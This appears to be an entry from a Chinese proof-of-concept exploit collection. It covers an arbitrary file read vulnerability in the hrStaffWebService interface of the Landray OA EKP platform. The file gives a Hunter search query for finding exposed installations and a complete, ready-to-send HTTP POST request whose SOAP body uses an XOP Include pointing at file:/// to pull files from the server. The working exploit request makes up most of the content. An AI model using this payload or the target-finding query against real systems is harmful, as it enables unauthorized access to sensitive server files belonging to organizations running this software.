POC/wpoc/蓝凌OA/蓝凌OA-EKP系统接口hrStaffWebService存在任意文件读取漏洞.md
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# 蓝凌OA-EKP系统接口hrStaffWebService存在任意文件读取漏洞
蓝凌核心产品EKP平台定位为新一代数字化生态OA平台数字化向纵深发展正加速构建产业互联网对企业协作能力提出更高要求蓝凌新一代生态型OA平台能够支撑办公数字化、管理智能化、应用平台化、组织生态化赋能大中型组织更高效的内外协作与管理支撑商业模式创新与转型发展。深圳市蓝凌软件股份有限公司数字OA(EKP)存在任意文件读取漏洞。攻击者可利用该漏洞获取服务器敏感信息。
# hunter
```javascript
app.name="Landray 蓝凌OA"
```
![](https://cdn.nlark.com/yuque/0/2023/png/1622799/1699624430077-2cffea44-6670-4ae3-81c6-97bae85b26fd.png)
## poc
```java
POST /sys/webservice/hrStaffWebService HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Content-Length: 563
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/related; boundary=----frhpvivnctknnkiwugaq
SOAPAction: ""
------frhpvivnctknnkiwugaq
Content-Disposition: form-data; name="1"
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.staff.hr.kmss.landray.com/">
<soapenv:Header/>
<soapenv:Body>
<web:getHrStaffElements>
<arg0>
<beginTimeStamp>1</beginTimeStamp>
<count><xop:Include
xmlns:xop="http://www.w3.org/2004/08/xop/include"
href="file:///"/></count>
</arg0>
</web:getHrStaffElements>
</soapenv:Body>
</soapenv:Envelope>
------frhpvivnctknnkiwugaq--
```
![](https://cdn.nlark.com/yuque/0/2024/png/1622799/1730429801848-e18487e1-ff5e-479a-af65-8a405e0f6c6b.png)